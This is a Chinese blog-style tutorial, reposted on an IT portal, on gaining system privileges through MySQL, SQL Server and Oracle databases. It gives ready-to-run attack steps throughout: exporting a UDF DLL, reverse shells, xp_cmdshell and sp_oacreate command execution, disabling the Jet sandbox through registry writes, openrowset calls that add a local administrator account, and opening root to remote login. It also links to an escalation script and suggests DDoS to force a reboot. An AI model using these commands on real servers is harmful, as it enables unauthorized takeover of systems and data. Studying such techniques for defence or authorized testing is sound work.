IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> 大数据 -> 提权-MY&MS&ORA数据库提权 -> 正文阅读

[大数据]提权-MY&MS&ORA数据库提权

在这里插入图片描述
在这里插入图片描述

数据库提权:

在利用系统溢出漏洞无果的情况下,可以采用数据库进行提权来获得系统权限,不是提升数据库用户的权限,但需要知道数据库提权的前提条件:服务器开启数据库服务及获取到最高权限用户密码。除 Access 数据库外,其他数据库基本都存在数
据库提权的可能。

#数据库应用提权在权限提升中的意义
#WEB 或本地环境如何探针数据库应用
#数据库提权权限用户密码收集等方法
#目前数据库提权对应的技术及方法等

提权流程:服务探针->信息收集->提权利用->获取权限

探针查看是否有数据库服务:

  • 扫描端口,mysql:3306、sqlserver:1433、oracle:1521、DB2:5000、PostgreSQL:5432等
  • cmd/shell下查看本地服务/进程
  • 其他

信息收集获取密码:

  • 网站连接数据库的配置文件,一般此方法就够了
  • mysql存储文件,见下
  • 暴力破坏,见下
  • 其他

1)mysql文件夹下有着myd后缀文件是与数据表相匹配的,因此可以直接查看文件来找各种信息,比如mysql的user表存储着用户信息,因此user.myd文件必定存储着root用户的账号密码。(@@basedir/data/数据库名/表名.myd)

2)利用脚本暴力猜解(了解数据库是否支持外联及如何开启外联mysql默认root不允许外联,root只能本机来连接才行),脚本相对于工具更容易在目标本机上执行,同时可以本地爆破连接本机root,避免了外联的限制。
3)总之就这张图:
在这里插入图片描述

MySQL数据库提权演示-脚本&MSF:
在这里插入图片描述
mysql提权方法有以上四种。

提权利用(一)(UDF方法,基于 MYSQL 调用命令执行函数,需要创建并操作dll文件到指定目录以及利用脚本来实现):

先来了解下mysql的udf是什么:https://blog.csdn.net/luoqiya/article/details/12888553, 简而言之就是我们可以利用udf函数的特性与操作系统进行交互进而命令执行,并且神器sqlmap里边也集成有此功能,在sqlmap根目录\data\udf\myqsl下,具体使用百度。

利用此方法第一步先判断版本和安装路径:
1.mysql<5.1则 导出dll文件到目录 c:/windows 或 system32
2.mysql=>5.1 则 导出dll文件到安装目录 /lib/plugin(这个目录默认是没有的,需要我们去创建)

select version();
select @@basedir;//查看安装目录

在这里插入图片描述

之后有安装路径最好,没有则需要创建路径。
手工创建 plugin 目录或利用 NTFS 流创建。

select 'x' into dumpfile '目录/lib/plugin::INDEX_ALLOCATION';

最后创建并移动dll文件,成功后,mysql命令行下就可以命令执行了。

我感觉创建dll文件的本质应该是创建一个mysql的表,并将保存的文件后缀为dll,具体我也不太清楚,自己搞不来这文件,直接用别人写的脚本来执行操作的,只用输入数据库root账号密码就行了,可以分析下脚本源码来学习无脚本时自己怎么操作,php环境就用php脚本。

利用脚本(别人写好的或者自己写的上传至目标主机运行,优秀的脚本甚至帮你判断了mysql版本和安装路径)直接创建并导出 dll 文件至根据mysql版本号判断出的路径,最后就可以自定义执行函数从而操作系统命令执行。
在这里插入图片描述

在这里插入图片描述

/*
暗月的mysqludf提权脚本及使用:
链接:https://pan.baidu.com/s/1wztja_QAH2hspybVnE6BCA
提取码:2i7s
*/ 

可能的问题:
1)对权限要求挺高:1、secure_file_priv 配置;2、目录的写权限
2)脚本文件是否匹配mysql版本和位数
3)目录是否存在
4)是否是mysql版本应该对应的路径,而且windows与linux上的路径自然也不一样。

自己测试时脚本运行环境最好是直接搭建的mysql服务,集成的phpstudy环境容易出很多破问题,我本机用的集成环境搭建时就总是爆错,因此出问题了要不就找出bug解决要不就换个环境比如虚拟机。

提权利用(二)(MOF方法:基于 MYSQL 特性的安全问题)

成功几率不大,原理及利用参考文章:https://www.cnblogs.com/xishaonian/p/6384535.html

提权利用(三) 利用启动项(基于配合操作系统自启动)

手动导出自定义可执行文件到启动目录配合重启执行或msf工具将创建好的后?或执行文件进行服务器启动项写入,(前提是mysql打开外连让msf连上才行)配合重启执行;

让对方重启:ddos。

mysql开启外连:

GRANT ALL PRIVILEGES ON *.* TO root@"%" IDENTIFIED BY "root"

在这里插入图片描述
提权利用(四) 反弹提权(反弹shell命令执行)

在这里插入图片描述
本地开启监听端口和服务,还是利用那个脚本,创建反弹shell函数,sql语句执行函数,将shell反弹给自己的本地主机,可以执行系统命令。

MSSQL(sql serve)数据库提权演示:

1)使用xp_cmdshell进行提权:

xp_cmdshell(数据库-系统数据库-mater-可编程性-系统扩展存储过程)默认在mssql2000中是开启的,在mssql2005之后的版本中则是默认禁止的,如果用户拥有管理员sa权限则可以用sp_congifgure重新开启它:

启用:
EXEC sp_configure ‘show advanced options’,1 ;
Reconfigure;
EXEC sp_configure ‘xp_cmdshell’,1;
关闭:
EXEC sp_configure ‘show advanced options’,1;
reconfigure;
exec sp_config ‘xp_cmdshell’,0;
reconfigure;
执行:
exec master.dbo.xp_cmdshell ‘系统命令’ , 而且是system权限!

在这里插入图片描述

如果xp_cmdshell被删除了,可以上传xplog70.dll恢复:

exec master.sys.sp_addextendeproc 'xp_cmdshell','c:\Program Files\Microsoft SQL server\MSSQL\Binn\xplog70.dll'

2)使用sp_oacreate提权:

主要用来调用OLE对象,利用OLE对象的run方法执行系统命令。

启用:
EXEC sp_configure ‘show advanced options’, 1;
RECONFIGURE WITH OVERRIDE;
EXEC sp_configure ‘Ole Automation Procedures’, 1;
RECONFIGURE WITH OVERRIDE;
关闭:
EXEC sp_configure ‘show advanced options’, 1;
RECONFIGURE WITH OVERRIDE;
EXEC sp_configure ‘Ole Automation Procedures’, 0;
RECONFIGURE WITH OVERRIDE;
执行: 将无回显地执行结果写入进文件
declare @shell int exec sp_oacreate ‘wscript.shell’,@shell output exec sp_oamethod
@shell,‘run’,null,‘c:\windows\system32\cmd.exe /c whoami >c:\1.txt’

3)使用SQL server沙盒提权:

沙盒是一种安全机制,为运行中的程序提供的隔离环境。通常是作为一些来源不可信、具破坏力或无法判定程序意图的程序提供实验之用。

--提权语句

exec sp_configure 'show advanced options',1;reconfigure;

-- 不开启的话在执行xp_regwrite会提示让我们开启,

exec sp_configure 'Ad Hoc Distributed Queries',1;reconfigure;

--关闭沙盒模式,如果一次执行全部代码有问题,先执行上面两句代码。

exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',0;

--查询是否正常关闭,经过测试发现沙盒模式无论是开,还是关,都不会影响我们执行下面的语句。

exec master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines', 'SandBoxMode'

--执行系统命令select * from openrowset('microsoft.jet.oledb.4.0',';database=c:/windows/system32/ias/ias.mdb','select shell("net user margin margin /add")')

select * from openrowset('microsoft.jet.oledb.4.0',';database=c:/windows/system32/ias/ias.mdb','select shell("net localgroup administrators margin /add")')

参考:https://blog.51cto.com/u_11797152/2411770

Oracle数据库提权演示-自动化工具(Oracleshell)

jsp(java server page)网站 后?不需要提权,自带system。

一般都搭配tomcat服务器来配合oracle数据库,我们可以查找配置文件找到账号密码。

1)DBA用户:(sqlmap、oracleshell自动化工具,–is-dba参数看是否是oracle的dba用户)

拥有DBA账号密码,可以省去自己动手创建存储的繁琐步骤,一键执行测试。

在这里插入图片描述
2)注入提升模式:(sqlmap测试演示):
拥有一个Oracle注入点,可以通过注入点直接执行系统命令,此种模式没有实现回显,要自己验证。
在这里插入图片描述
3)普通用户:

前提是拥有一个普通的oracle连接账号,不需要DBA权限,可提权至DBA,并以oracle实例运行的权限执行操作系统命令。

参考这篇文章:https://blog.csdn.net/qq_17204441/article/details/89484872

  大数据 最新文章
实现Kafka至少消费一次
亚马逊云科技:还在苦于ETL?Zero ETL的时代
初探MapReduce
【SpringBoot框架篇】32.基于注解+redis实现
Elasticsearch:如何减少 Elasticsearch 集
Go redis操作
Redis面试题
专题五 Redis高并发场景
基于GBase8s和Calcite的多数据源查询
Redis——底层数据结构原理
上一篇文章      下一篇文章      查看所有文章
加:2022-02-03 01:16:27  更:2022-02-03 01:18:34 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年11日历 -2024/11/24 13:50:04-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码